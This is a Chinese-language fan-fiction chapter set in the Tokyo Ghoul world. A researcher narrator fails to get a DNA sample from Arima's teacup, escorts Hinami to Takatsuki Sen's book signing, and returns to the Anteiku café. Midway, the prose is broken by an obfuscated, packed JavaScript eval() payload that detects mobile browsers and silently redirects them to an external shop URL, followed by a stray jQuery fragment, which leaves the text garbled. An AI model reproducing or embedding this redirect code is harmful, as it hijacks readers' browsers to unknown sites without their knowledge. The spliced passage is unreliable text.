我觉得那家料亭的女将对我有很大的误解。
我原本只是想去把有马贵将用过的茶杯买回来，那只青瓷杯釉面上布满细碎的冰裂纹，杯沿有一小块不规则的凸起。他触碰过的地方应该留下足够的东西，口腔上皮细胞，杯壁残留的指纹，只需要一点点样本我就能——
“您说那只茶杯吗？我们已经清洗过了。”
女人的声音将我的算计齐根切段，她站在我面前，双手交叠在围裙上，歪着头看我。
“清洗过了？”
我的声音不受控制地拔高，她的表情因此变得有些困惑。
“是的，那位先生离开后我们就收拾了，所有的茶杯都要及时清洗消毒，茶渍沉淀太久会让瓷器变色，这是店里的规矩。”
她顿了顿，目光在我的脸上逡巡了一圈，看着我瞬间垮下来的肩膀忽然露出了一个了然的表情。
“您是想留个纪念吧？”
“……什么？”
“那位不苟言笑的先生，一定是您很重要的人吧？”
她笑起来，眼角的鱼尾纹温柔地挤在一起。没等我开口她已经转身走进里间，片刻后抱出两只叠得整整齐齐的深蓝色软垫。
“这个也一起给您吧。”
她微微欠身，把软垫往前送了送。
“那位先生坐过的，两个放在一起更圆满些。”
我盯着那两只软垫，嘴角抽动了一下。
……可我要这东西做什么？
我张了张嘴，想解释我需要茶杯是为了提取DNA样本，软垫上就算残留了信息也早就被污染得一塌糊涂，我更不是会收集别人用过的东西的变态！
但女将已经把两样东西都用高级和纸包好了，她的手很巧，丝带在指间翻飞了两下，就变出一个漂亮的蝴蝶结，端端正正地趴在包裹的正中央。
——不是，我什么时候成变态了？
“欢迎下次再来哦。”
她站在玄关处鞠躬，暖帘在晚风里轻轻晃动，“您下次可以带那位先生一起来，我给你们留最安静的屋子。那里可以看到院子里的枫树，秋天的时候很漂亮。”
她的声音很真诚，让我觉得自己如果拒绝这份好意就是在践踏一颗善良的心。我最终什么也没解释，只是面色复杂地略一颔首，转身走了。
走出料亭的时候，艾文已经在车前等候多时。他靠在车门上，双臂抱在胸前，看到我的时候立刻站直身体，绕过车头走过来。
“怎么样了？”
我看看他，又低头看看纸袋。嘴角不受控制地抽动了几下，咧出一个僵硬的笑来。
“哎呀，搭档，没想到我们来晚一步呢。”我把纸袋捏在手里晃了晃，故作洒脱地说道。“已经被洗过了，咱们什么都没捞着。”
艾文沉默地看着我，眼睛在灯光下显得格外通透，像两颗被水洗过的玻璃珠。但他什么都没问，只是在最后说了一句：“诺亚，别再做危险的事了。”
“我知道。”我说。
我嘴上答应得好好的，可回到酒店，我还是不死心地盯着那两样东西看了很久。
茶杯，软垫
我将它们从纸袋里取出来，和纸的包装被我拆开了，蝴蝶结散了，丝带软塌塌地蜷在一起，茶杯安静地立在桌上，沿上小小的凸起台灯照射下投下一小片阴影。
我用指尖轻轻摸了摸，粗糙的，和周围光滑的釉面完全不同，有马贵将喝茶的时候手指就搁在这里，留下一个浅淡的指纹。
我把茶杯翻过来，底部的圈足上印着一个很小的窑口标记，我用指甲刮了一下圈足边缘，什么都没有刮下来。
茶杯上没有任何残留的细胞，指纹被洗洁精分解得一干二净。我又把软垫拿起来，深蓝色的绒面在灯光下泛着一层柔和的光晕，像一个被压扁的月亮。
什么都没有了。
两个干干净净、毫无用处的废物。
我把软垫扔回桌上，走到床边坐下来。床垫陷下去一小块，我弓着背，盯着地毯上的花纹发呆，细密的菱形纹路彼此嵌合，无始无终，看久了会眼花，像一个永远解不开的迷宫。
——还有如迷宫一般的有马贵将。
他的身体或许和我一样，流着两种血。
这个念头在出现的一刻就再没离开，在我脑子里扎了根，它吸着我的骨血疯长，缠绕着每一个神经末梢，逼着我去想，去计划，去执行，去……发疯。
如果我的猜测是对的，如果CCG最强的搜查官真的是人类与喰种的混血，而不是纯粹的正义的化身。如果他和我一样站在两个世界的缝隙里，既不属于左边也不属于右边，被两边的风吹着，被两边的浪打着，却没有任何一个地方可以让他靠岸。
我需要的只是一点点样本。一根头发，一滴血，一片脱落的皮肤碎屑，任何东西都行。
我想知道答案。
我太想知道了。
想得我胸口发疼，手指发抖。想得我想冲出去，冲到CCG总厅，冲到有马贵将面前，一把薅住他的头发——
“有马特等，让我拔你一根头发。”
我幻想着这个场景，忍不住发出一声干涩的笑。
他会怎么做？大概还不等我伸手，我就会被那些愿意为有马贵将出生入死的搜查官们当场拿下。就算他真让我拔，在那之后也只会用令人厌烦的眼睛看着我，等我说出一个他大概早就知道的答案。他会说“哦”，继续做他的事情，继续出他的任务，继续做不败的搜查官。继续白着他的头发，老着他的身体，活着他那可能只有三十年的命。
而我呢？
如获至宝地回到实验室，做一切我能做的分析，最后得到一个我可能承受不了的答案。
如果他真是混血怎么办？
可如果他不是呢？
如果他只是一个普通的、被工作压垮的年轻人？一个从小被教育“喰种是敌人”的人类孩子，用天生的战斗直觉把自己变成了不败的传说。他只是一个足够聪明、足够努力、也足够幸运的人类，付出的代价不过是过早的白发和疲惫的眼睛。
哪一种答案更可怕？
---
隔天，地行甲乙博士拉着我进行了一场深入的学术交流。
说实话，在来日本之前我对CCG的科研部门并没有太高的期待——在我的刻板印象里，他们大部分时间都花在写报告和申请经费上，真正用于思考的时间少之又少，但地行甲乙不太一样。
他是个非常有想法的研究员，对库因克的构想已经超出了武器的范畴，想做的不是一把更锋利的刀或者一杆威力更大的枪，而是一种“接口”，一种能够让人类和喰种的力量共存的接口。
我的研究方向和他正好相反，他想让赫子在体外活得更久，而我想知道Rc细胞在人体内是如何表达的。他想延长，我想溯源，我们站在两岸看着同一条河，但水的流向不同。他沿着河岸往下游走，寻找赫子可以被人类利用的方式；而我逆流而上，寻找RC细胞的源头，寻找最终能把人类和喰种连接在一起的线。
可科研不问立场，不管站在河的哪一边，水就是水，我听得津津有味。再一低头，手机上忽然收到了芳村先生的消息，问我下午有没有时间来店里一趟。
我看了眼，没有回复。芳村先生不是会无缘无故发消息的人，他找我一定有什么要紧事情。
余光里，地行甲乙又顶着他那钢盔一样的波波头晃过来了。
“如果诺亚博士有兴趣的话，改天一起去库因克工厂参观如何？我可以带你看看最新的生产线，还有几件还在实验阶段的新型库因克，外面绝对看不到。”
“当然可以。”我笑眯眯地说道，把手机翻过去扣在桌面上。
例行糊弄完公事，中午的时候，我一脚油门就开到了20区，堂而皇之地推开了古董咖啡店的大门。
回到日本这些天，我到访这里的次数屈指可数，每次来都像做贼一样，专挑人少的时候进门，坐在窗边喝杯咖啡就走。我和里面工作的服务生都已经见过了，但也仅仅是“见过”而已。这些服务生不像被雇佣的员工，倒像是与芳村功善守护共同巢穴的同伴。
我并不知道芳村先生有没有对他们说过我在为谁效力，但一个身上总带着白鸽气味的人总归不是什么受欢迎的角色。如果他们知道了我的身份，还能对我没有任何明显的敌意，那也太不正常了。
“中午好啊，白鸟小姐。”
“午安，古间先生。”我咧咧嘴，抬手和吧台后的古间圆儿打了个招呼。他正在擦拭咖啡杯，把每一只杯子都举到灯光下看一看，确认没有水渍之后才放回架子上。
此时显然并不是品鉴咖啡的时段，店里一位客人都没有。阳光从窗户斜射进来，照在深色的木质桌椅上，将细小的划痕照得清清楚楚。我止住了他习惯性要为我冲泡一杯咖啡的动作，问他知不知道芳村先生去了哪里。
“店长出去了哦，但他有事情想请你帮忙。”古间圆儿擦了擦手，把抹布搭在水槽边上，转头向楼上喊了一声，“雏实——快下来咯。”
“来了！”
眨眼间，在一阵轻快的脚步声之后，一个亚麻色头发的女孩从古间圆儿的身后冒了出来。她看起来只有十岁出头，胆怯又认生，整个人缩在古间圆儿身后，只露出半张脸。
“这是笛口雏实，是受到古董庇护的孩子。”古间圆儿把手搭在女孩的肩膀上，轻轻往前推了推。“下午有一个小说的签售会，她从很早就开始期待了，其实原本是金木带她去的，但他最近遇到了一些棘手的事，就连董香也一时间走不开。”
古间圆儿抱歉地看向我，“所以……可以麻烦白鸟小姐带雏实去一趟吗？”
还以为是什么呢，原来是带小孩啊。
我瞬间挺直了脊背，其实我一直自诩带小孩专家来着，虽然这个头衔的含金量大概只够在实验室里哄哄刚入职的实习生，但此刻拿出来用一用还是够的。
“当然可以…”
我看了眼始终躲躲藏藏的女孩，她很怕我，连视线都是躲闪的，目光刚触到我就迅速弹开。这也不奇怪，喰种天生嗅觉灵敏，我又整天泡在实验室，和被制成标本、当成实验用具的喰种混在一起，我的手上沾过他们的血，我的眼睛里看过他们被分解后的样子。我大概早就被死亡的味道腌入味了，像一个行走的墓碑，身上挂着太多不该由一个活人携带的东西。
可问题不在这里。
我垂下目光，看着古间圆儿搭在雏实肩上的手。他的表情是自然的，甚至带着几分歉意，好像真的只是在拜托一个信得过的朋友帮忙照看孩子。
我不明白这份信任从何而来。
芳村先生信任我，这我能理解。他与我逝去的父母相熟，十年前他冒着巨大的风险从火海里救我出来，看着我满身是伤地离开东京。痛苦的经历会在两人之间建立起一条紧密纽带，把我永远系在了他那一边。可古间圆儿不一样。他没有经历过那些，没有理由让他放心把喰种小孩交到我手上。
如果单纯只是因为架在中间的芳村先生，那这份信任未免也太单薄了。
我看着那个女孩。她的手指还绞着衣摆，她大概也不想跟一个可疑的人待在一起，只是自小在危险环境里长大的经历让她过早的学会逆来顺受。
“我会送她过去的。”我点点头，将内心的疑惑压回心底，然后蹲下身，让自己的视线和雏实平齐。
“你好啊雏实，我叫白鸟真晞，今天下午我陪你去签售会，好不好？”
雏实没有回答，目光在我脸上停留了不到一秒就迅速移开了，几乎看不见地点了一下头。古间圆儿拍了拍她的肩膀，低声说了句“去吧”，雏实这才一步三回头地从他身后挪出来，每一步都走的很小心。
我没有勉强，转身推开咖啡店的门，带着她走向停在路边的车。
上车的时候，她拉开后排的车门坐在最靠边的位置，安全带系得端端正正，双手搁在膝盖上，书包抱在怀里，把自己团成最小的一团。
“雏实，签售会在哪里？”我问。
“……就在20区。”她的声音小到几乎被引擎声淹没。
“具体是什么位置？”
“HMV唱片行旁边的书店。”
我应了一声，车子汇入车流。
窗外的高楼一栋接一栋地掠过，阳光从挡风玻璃照进来，雏实坐在光斑的边缘，像一个站在阳光和阴影交界处的人，既不敢完全走进光明，也不愿彻底退入黑暗。
“雏实，你很喜欢这位作家吗？”我试着开口。
她的手指停了一下。
“……嗯。”
“他叫什么名字？”
“高槻泉。”她的声音比刚才大了一点点，试探着从壳里探出头来。
“高槻泉……”我重复了一遍，在脑海里搜索了一下，“唔，我好像没听说过呐，是什么类型的作家？”
“推理小说。”她的声音忽然有了活力，冒出了第一片嫩叶，“《黑山羊之卵》特别好看，还有《吊人的麦高芬》、《致卡夫卡》，短篇集《彩虹的黑白照》也很精彩……”
“都是她写的？”
“嗯，是大哥哥推荐给我的，她的每一本我都看过。大哥哥说他最喜欢《黑山羊之卵》，所以我也先看了那一本。”
雏实的语气变得连贯了一些，不再像之前那样一个字一个字往外蹦。
“《黑山羊之卵》讲的是什么？”
“讲的是……”
她顿了一下，嘴唇微微动了动，把句子在舌尖上滚一遍，确认它们不会出错之后才肯放出来。
“主人公的妈妈是一个被叫做‘黑山羊’的杀人魔，她很讨厌妈妈，一直想逃。但是突然有一天，她注意到自己身上也突然萌生出残虐的冲动了……她发现自己和妈妈一样，身体里面也住着一只黑山羊……嗯，大概就是这样。”
我的脸上没什么表情，佯装惊讶地“啊”了一声。
“这故事听起来还挺沉重的。”
“但是真的很好看。”雏实的声音更坚定了，“她写的每一个故事都像是真的，故事里的人就像活在这个世界的一角，只是我们看不到他们。他们的痛苦，他们的挣扎，所有的一切都是真的。”
我沉默了一会儿，如此真情实感的读书确实撞在了我的认知盲区，这大概和未来听完童话故事就坚信世界上有独角兽一样。
“白鸟小姐，你看过高槻泉老师写的书吗？”雏实忽然问我。她的声音又变小了，鼓起了很大的勇气才问出这句话。
“没有。”我摇摇头。“不过听你这么一说，我倒是有点兴趣了。”
车子继续向前，窗外的风景从高楼变成了矮楼，又从矮楼变成了密密麻麻的商店招牌。20区的街景比其他区更陈旧一些，建筑物墙面上攀着干枯的爬山虎，女孩的坐姿比刚才放松一些，不再缩在车门旁边了，虽然还是没有坐到中间来，但至少肩膀不再绷得那么紧了。
“雏实。”
“……嗯？”
“你为什么喜欢高槻泉？”
她沉默了一会儿，后视镜里，我看见她低下头，看着怀里包着透明书皮的小说。
“因为她写的那些东西，让我觉得……我并不是一个人。”
到达书店附近后，我把车停进停车场。雏实抱着书包从后座钻出来，站定之后又下意识地往后退了半步，依旧和我保持着微妙的距离。
我没有说什么，转身朝书店的方向走去。她跟在后面，书包拉链上挂着的可爱挂件在轻轻晃动，发出叮叮当当的声响。
签售会的现场比我想象中要热闹得多。
书店门口排着一条长队，从台阶上一直蜿蜒到街角，少说也有上百人。队伍里大多是年轻人，有穿着校服的学生，有打扮入时的上班族，还有一些像是从很远的地方专程赶来的，脚边放着沉重的行李箱。
雏实的眼睛立刻亮了，我还是第一次在她的脸上看到那种表情，整个人像是一朵被阳光照到的花，试探性地展开花瓣。她往前迈了一步，又猛地收住，回头看了我一眼。
“去吧。”我朝队伍的方向抬了抬下巴。
她点了点头，快步走向队尾。排队的人很多，队伍移动得很慢，隔几分钟才往前挪一小步。周围的人三三两两地扎堆聊着天，雏实安静地站在队伍里，每当有人提到小说里的角色的时候，她的耳朵会动一下，肩膀也会侧过去一点。
我站在她身后，看着她又瘦又小的背影问道，“你带了几本书？”
她转过身，把怀里的书包打开给我看。里面整整齐齐地码着五六本书，每一本都用透明的书皮仔细地包好了，边角没有一丝折痕，连书脊的保护膜都贴得端端正正。
“这些都是高槻泉老师的？”
“嗯。”她点点头，把最上面的抽出来给我看。
“《黑山羊之卵》，”我念出印在书脊上的标题，“这是你说的那本？”
“嗯，是我最喜欢的。你要看吗？”
她把书小心翼翼地递给我，队伍又往前挪了几步，现在已经能看到书店的门口了，两扇玻璃门大开着，里面摆了一张长桌，桌上摞着高高的书堆。签售的作家还没有出现，只有几个穿着书店围裙的工作人员在忙着整理场地。
我接过书，翻开第一页。
铅字密密麻麻地排列在纸面上，文字很密，读起来很压抑，但文字本身有一种奇异的吸引力。
十几分钟后，人群中忽然响起一阵低低的骚动。有人从书店里面走了出来，先是一个穿着黑色衬衫的工作人员，做了个简短的介绍后侧身让开了位置。
高槻泉走出来的时候，我不由得愣了一下。
我承认在心里有过预设，刚刚在排队的时候我粗略地读过她的文字片段，用词之大胆、意象之乖张、叙事之冷冽，我以为会看到一个阴郁苍白，浑身散发着孤僻气质的成熟女人。
但站在我面前的，是一个拥着蓬松浓密的墨绿色头发、样貌甜美、身材娇小的女生。
她像是刚刚睡醒，头发凌乱地披散在肩上。她的脸很小，下巴尖尖的，穿着一件宽松的米白色毛衣，袖子长到盖住了半个手背。如果不是周围此起彼伏的惊呼声和手机快门声，我大概会以为她是来帮忙的临时工。
高槻泉很随意地在桌前坐下，一只脚踩在椅子下面的横档上，另一只脚轻轻晃着，对排在最前面的人露出甜蜜蜜的笑容，这和她笔下那些血淋淋的、令人不安的文字完全不搭。
雏实在我前面踮起脚，越过前面几个人的肩膀使劲往里看。她的手指攥着书包带子，整个人绷成了一张拉满的弓，生怕错过任何一个细节。
队伍又往前蠕动几步，前面只剩下三个人。我跟在雏实后面，等前面的人签完了，她这才走上前，把书包里的书一本一本地拿出来，书堆的高度越过了她的下巴。她深吸一口气，把书放在高槻泉面前。
年轻的作家抬起头，看向雏实。
“谢谢你一直支持我哦。”她的声音很甜，弯起的眼睛笑眯眯的，“要写谁的名字？”
“我是雏实，笛口雏实。然后这本，要写金木研。”
“金木啊？哪个金木？”
“金木犀的金木。”
高槻泉点点头，低下头开始签名。笔尖在扉页上沙沙地响，她的手很白，手指细长，字也写得很漂亮。
雏实双手绞在身前，眼睛亮得像是盛了一汪水。
“好了。”高槻泉把签好的书推回来，整齐地摞成一叠，轻轻拍了拍最上面那本，抬头对雏实笑了笑，“谢谢你能来哦，可爱的雏实酱～”
雏实把书一本一本地收回去，抱在怀里，鞠了一个几乎九十度的躬。
“谢、谢谢高槻老师！”
她紧张的声音都在抖，转身的时候差点撞到我身上，被我拉了一把才稳住。
“没事吧？”
“嗯！”
她用力点点头，步伐轻快地走向出口，我正要跟着一同离开，身后忽然传来笔尖落地的轻响。
我下意识转过身，发现高槻泉正看着我。
她刚才对雏实笑的时候，那种甜是职业化的，像量产的糖果，但此刻她的表情完全不一样了。
签字笔不知怎的掉到了地上，轱辘轱辘一直滚到我的脚底。她歪着头看我，墨绿色的头发从肩上滑落，露出一个小小的银色耳钉。视线从我的脸上慢慢扫过，在我的眼睛上停了一瞬。
“呀，是漂亮的大姐姐呢。”
她的语调拖得长长的，像是在跟一个好久不见的老朋友打招呼。
“……你好？”我略显迟疑地开口。
高槻泉没有立刻接话，一只手撑在下巴上，肘部支着桌面，仿佛期待着我先说些类似于“你的书写得真好”这样的话。可我始终沉默，她隔了半晌又问，“姐姐，你也是我的书迷吗？”
书迷？
我的手里空空荡荡，与签售会相关的东西一个都没有，雏实抱着一摞书欢天喜地地跑出去了，而我两手空空地站在这里，完全是一个混进签售会却什么也没准备的傻瓜。
“呃……”
嘴角抽动了一下，我硬着头皮挤出一个笑容。
“是啊，当然是。”
高槻泉的目光从我尴尬交握的双手上扫过，又落回我的眼睛。
“那你的书呢？”
“……”
她轻轻笑了一声，低下头，从手边摞着的样书中抽出一本，放在桌上，用手指轻轻推到桌沿。
“这本就送给你吧。”
她把书往前推了推，指尖在封面上轻轻点了两下。
“这是我出版的第一本小说，现在市面上已经买不到了。初版只印了三千本，我那时候还是个没有人认识的新人作家，出版社甚至不愿意给我在腰封上印推荐语。他们说‘高槻泉’这个名字没有任何号召力，印了推荐语反而显得可笑。”
我低头看去，封面是深灰色的，书名的字体很小，缩在封面的左下角，像一个不想被人发现的秘密。
“《怨恨》。”我念出来。
“嗯。”她点点头，语气变得认真了一些，“那时候文笔还很生涩，结构也问题，多亏遇到一个很好的编辑小姐帮我推荐到了出版社才得以发行。不过现在想想，那时候想说的话最多，却最不会说。憋了一肚子的话写出来就只剩下一半，印在纸上又少了一半。到最后读者能看到的东西，大概连我想表达的三分之一都不到。”
她抬起头，深绿色的眼睛里映着灯光，在她的瞳仁里形成两个小小的、明亮的光点。半晌后，她的视线越过我，落在书店门口焦急等待的小小身影上。
“小雏实是你的妹妹吗？”
顺着她的目光，我回头看了一眼雏实。女孩正站在玻璃门外面，把签好的书一本一本地翻看，每一页都舍不得合上。
“是朋友家的孩子。”
“哦——”
高槻泉拉长了声音。那个“哦”字从她的舌尖滚出来，黏黏糊糊地挂在空气里。她的嘴角翘起来，没有继续这个话题，而是换了个姿势，把手从下巴下面抽出来，朝我摊开了手掌。
“姐姐，要拉手吗？”
“……什么？”
我的大脑宕机了几秒，这个请求来得太突兀了，以至于我一时不确定自己是不是听错了。
“拉手啊，手——”
高槻泉五指张开，停在半空中虚虚朝我抓了抓，“读者在离开前不都和我握了手吗？姐姐不想吗？”
我后知后觉才想起刚才排队时余光扫到的画面——确实，每个拿到签名的读者都会和她握一下手，这是签售会的标准流程，是作家和粉丝之间再正常不过的互动。我前面的几个人都握了，雏实好像也握了，如果唯独我拒绝，反而显得奇怪。
“啊，好的。”我说。
我把手伸出去，手指慢慢触到高槻泉的掌心，正准备轻轻握一下就松开，可她的手指却忽然收拢，穿过指缝一根一根嵌入我的指间，强行与我十指相扣。
我的头皮一阵发麻，侵入性的肢体接触让我的肩膀不由自主地绷紧了。高槻的手指又细又小，紧紧地插在我的指缝之间，像五根白色的枝条缠上了一棵不属于她的树，连体温都被她的一点一点吸走。
就算是互动……但这也太超过了吧？
“阿咧，你的手很凉呢。”
她的拇指缓缓从我的虎口滑过，一寸一寸在指节上摩挲。我不自觉地抽动了一下，想要缩回去，可那细小的指节像卡榫一样牢牢地锁住了我，高槻泉往前倾了倾身，我的手腕被迫向后弯折，掌心贴得更紧了。
高槻泉抬起头，瞳孔里细小的纹理像一圈一圈向外推开的涟漪，红润的嘴唇翕动着，呼吸轻轻地拂过我的手腕。
“下次见到你的时候，我要将你一点一点撕开，把你只剩下灵魂的样子装进玻璃罐里，放在书架上最顺手的一层。”
她眼睛里的波纹忽然静止了，所有的涟漪在一瞬间消失。她唇角的甜美消失了，取而代之的是更原始的野性。
周围排队的人还在嘈杂中等待，戴眼镜的店员正在给新来的读者发放整理券，没有人注意到两个人在签售桌前无声地对峙。
“这样，我就可以每天都看到你，而你，也永远不用再对任何人笑了。”
我的呼吸顿了一瞬，手指在她掌心里僵住了，深绿色的眼睛近在咫尺，里面倒映着我的脸。
“……什么？”
高槻泉看着我紧张的表情，忽然噗的一声笑了，笑声很清脆，和刚才低沉阴郁的声音完全不同。她的肩膀抖动着，手指在我手背上轻轻敲了两下。
“是台词啦，台词。”她的语调恢复成了带着鼻音的甜糯，仿佛刚才说要把我拆开装进玻璃罐的人不是她，“我上一本小说的主角是个偏执狂，而她偏偏又爱上了一个负心汉，所以在杀死对方之前她说了这段话，你觉得写得怎么样？。”
她松开了手，手指从我的指缝中抽出，一根一根离开。
我的手还保持着被握住的姿势，指关节僵硬得弯不回去。我缓缓吐出一口吊在喉咙里的浊气，终于找回了自己的声音。
“……高槻老师对每个人都这样吗？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584501|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“当然不是。”她缩回手，重新坐直身体，把滑落的头发别到耳后，对我眨了眨眼，“只是姐姐你看起来很有缘分。整个人金灿灿的，是我喜欢的类型。”
她拖长了尾音，低头从笔筒里重新拿了一支笔，对排队的人露出一个甜美的笑容。
高槻泉又开始招呼下一个人了，墨绿色头发垂下来，遮住了她的表情。
“下一位请过来吧——”
我转身走向门外，推开玻璃门的时候，阳光涌进来，我低头看了一眼自己的右手，手指张开又合拢，指缝里还残存着被缠绕的感觉。
雏实在门口等我，她抱着签好的书蹲在台阶下面，脸颊被夕阳照得红扑扑的，眼睛里还有没来得及褪去的兴奋。
“白鸟小姐，您买到书了吗？”
“嗯。”我扬了扬手里的《怨恨》，“高槻泉作家送了我这个。”
雏实的眼睛瞬间睁大了。
“这是高槻老师的第一本小说！现在市面上已经停止发售了，我在旧书店找了很久都没找到……”
她的声音里带着羡慕，但更多的是兴奋，“我可以看看吗？”
“当然。”
我把书递给她，雏实小心翼翼地翻开扉页。她的眼睛瞪大了一点，嘴唇微微张开，看到了什么不可思议的东西。
“白鸟小姐……”
她把书递回来，手指点着扉页上的某个地方。
我低头看去。
扉页上写着一行字，字迹很小，挤在页面的最下方，像是写的时候犹豫了很久，又像是故意不想让人一眼看到。
——赠予漂亮的大姐姐。
我的手指停在那一页上，酸意从舌尖漫到牙龈，从牙龈漫到眼眶。
我试图从笔画的走向里找到一丝熟悉的感觉，高槻泉的字迹很漂亮，笔锋凌厉，每一个笔画都收得很坚决，和她甜美的外表完全不符，更像是一个对自己有着绝对自信的人才会写出来的。
可她是什么时候写的呢？我怎么不记得她和我说话的时候写过这行字。
我皱着眉思索了几秒，啪地一声将书合上了，“原来签售会还有隐藏福利啊，高槻泉作家还挺会哄粉丝开心的。”
我把那行字归结于她胳膊旁的样书里一定还有诸如“帅气的大哥哥”、“可爱的小妹妹”之类讨好粉丝的字样。一个有名的作家，在签售会上用一些讨好的话来让粉丝开心，让每一个拿到签名书的人都觉得自己是特别的、被选中的、和作家之间有独一无二的连接。这是营销手段，是粉丝运营，是每一个公众人物都会做的事情，仅此而已。
我把书随手塞进包里，摸了一把雏实的脑袋。
“回家吧。”我说。
…………
车子停在古董咖啡店门口的时候，天色已经暗下来了。咖啡店的窗户里透出暖黄色的灯光，窗帘半拉着，门口的盆栽在晚风里轻轻晃动。
“到了哦，雏实。”我熄了火，回头看了一眼后排。
雏实正抱着书包打瞌睡，脑袋一点一点的，每一次点头都把自己点醒一点，又慢慢地沉下去，听到我的声音，她猛地抬起头，迷迷糊糊地眨了眨眼，认出了窗外熟悉的街景。
“啊……到了。”
她的声音里带着不舍，打了个小小的哈欠，用袖子揉了揉眼睛，不想这么快就从签售会的余韵里抽离出来。
我跟在她后面，顺着台阶拾级而上。刚一推开门，我就隐隐感觉到店里的气氛不对。
吧台后面，古间圆儿手里的抹布按在桌面上，他的表情看起来和平时没什么两样，目光却快速地从一个人身上扫到另一个人身上。
入见萱靠在窗边的座位上，手里端着一杯已经凉了的咖啡，嘴唇抿成一条线。
雾岛董香站在楼梯口，双臂抱在胸前，整个人像一把出鞘的刀。
他们在吵架，准确地说——是董香单方面在冲芳村先生发火。
“我不明白你为什么要这么做，把雏实交给一个不认识的人类，您觉得这很安全吗？”
“董香。”古间圆儿出声了，语气里带上了警告的意味。
女孩自然没有听他的话，目光死死地盯着芳村先生的背影，眼睛里烧着一团克制着的火。
“如果出了什么事呢？”她的声音微微发颤，“如果那个人类……”
她的话没有说完，因为我好巧不巧地推门进来了。门轴上挂着的风铃发出清脆的声响，所有的目光同时转向我。
董香的表情在看到我的那一刻变得更冷了，古间圆儿放下抹布，走过来很自然地把雏实从我身边接过去，低声说了句“辛苦了”。雏实显然也感觉到了气氛不对，抱着书的手紧了紧，怯生生地看了董香一眼，小声说了句“我回来了”，又回头和我说了声“谢谢”，低着头快步跑上了楼梯。
女孩的脚步声消失在二楼之后，店里的空气再次凝固起来。
我站在门口，感觉自己像一个走错了片场的演员。台词本上没有我的名字，但我已经被推到了聚光灯下。
芳村先生转过身来，正要开口说什么的时候，楼梯上传来一阵拖沓的脚步声。金木研晃晃悠悠地从楼梯上走下来。
他的样子很不对劲，头发乱糟糟的，眼下挂着两团浓重的青黑色，嘴唇干裂发白。就连走路的姿势也不太对，一只手扶着墙壁，像是不撑住点什么自己就倒了。
“研？”古间圆儿皱起眉头，“你怎么下来了？不是说让你在上面休息吗？”
金木研抬起头，目光涣散，他看了古间圆儿一眼，又看了看我，嘴唇动了动，像是想说什么，但最终只是摇了摇头。
“我……我睡不着，一闭上眼睛就会想起……”
董香的注意力终于从我身上移开了，她快步走到金木研身边，伸手扶住他的胳膊，脸色比刚才缓和了许多。
“你给我回去躺着。”
金木研摇摇头，弓着背在楼梯上坐下来。
“金木君怎么了？”我问。
“我……”他的喉结艰难滚动了一下，“我被月山习骗到了喰种餐厅，差点被杀掉。”
啊，月山习？
我没想到在这里还能听到这阴魂不散的家伙的名字，前一天我刚把他从料亭赶走，后脚他就去骚扰了其他人。这个人到底有多大的精力？大学生的社交日程排得比我还满吗？
店里兀的陷入了一种奇怪的氛围，雾岛董香和芳村先生的争吵被这件事打断了，原本绷紧的弦突然松下来。所有人都在关心金木研，没有人再关注我这个外来者。
芳村先生站在吧台旁边沉默了一会儿，他的眼神很复杂，然后又转过身来，目光落在我身上。
“真晞，今天辛苦你了，改天我再好好谢你。”
他的目光在我和金木之间轻轻扫了一下，意思很明显——现在这个局面，我在这里不太合适。
我理解，我太理解了。
我是一个外来者，是这座全是喰种的咖啡馆里唯一一个不属于这里的人。不管芳村先生多么信任我，不管古间圆儿多么友善，都改变不了一个事实——我和他们不一样。
“好的。”我转身准备离开。
“莲示君。”芳村先生忽然叫了一个名字，我这才注意到角落里还站着一个人。
四方莲示从靠墙的位置走出来，像是从阴影里剥离出来的一部分。他穿着一件深色的夹克，双手插在口袋里，帽檐压得很低，只露出一截苍白的下颌。
他没有看我，目光依旧像当初那样，始终落在我肩膀后面的虚空中，不肯和我对视。
“帮我送送真晞吧。”芳村先生说。
四方莲示沉默了几秒，点了点头。
我跟在他后面走出去，大门关上的那一刻，我听见董香低低地说了一句什么。声音太小了，被门板隔断，变成一团模糊的音节。
我没有回头。
……
夜风比想象中凉。
20区的夜晚不像市中心那样灯火通明，路灯的间距很大，两盏灯之间都有一段长长的黑暗。四方莲示走在前面，和我隔着三四米的距离，既不像在等人，也不像在带路。
我记得最后一次见他是十年前离开东京的那天，我坐上车，他就站在咖啡店的门口远远地看着我，一句话都没有说。那时候他不苟言笑，脾气又出奇的暴躁，瘦瘦高高的，像一只在电线杆上摇摇欲坠的乌鸦。
“好久不见，四方先生。”我觉得我需要打个招呼。
四方莲示脚步未停，低低地应了一声，反应依旧像以前一样冷淡。
“四方先生。”我又喊他。
他没回头，脚步又慢了一点。
“我的车就停在路口拐角的停车场，走路过去也就两分钟。”
“嗯。”
“所以芳村先生让你送我，到底是要送我什么？”
他没有回答，依旧蒙着头往前走，夹克的下摆被夜风吹起来又落下去。
我忍不住笑了一下，慢悠悠地问道：“你答应接下这个差事，该不会是因为我看起来很好吃吧？”
四方莲示忽然一个踉跄，右脚踢到了上凸起来的一小块水泥，身体往前栽了小半步才稳住。
“不是。”他的声音闷闷的。
“那你为什么出来？”
“……店长要求的。”
“店长让你出来你就出来？四方先生原来这么听话的吗？”
他没说话，耳朵在路灯下红了一小片，很快就被帽檐的阴影遮住 。
走到停车场入口的时候，我停下来，掏出车钥匙按了一下。停在角落的跑车立刻亮了灯，车灯在夜色里闪了两下。
“到了。”我转身看着他。“谢谢你送我，四方先生。”
他站在路灯下面，帽檐压得很低，只露出一截苍白的下颌。我以为他会像上次一样转身就走，但他的嘴唇动了动，犹豫着想说点什么。
“怎么了？”
他沉默了几秒，很慢地开口了。
“董香她，不是针对你。”
我没有接话，等他说下去。
“她小的时候……被邻居家的女人告发过。”
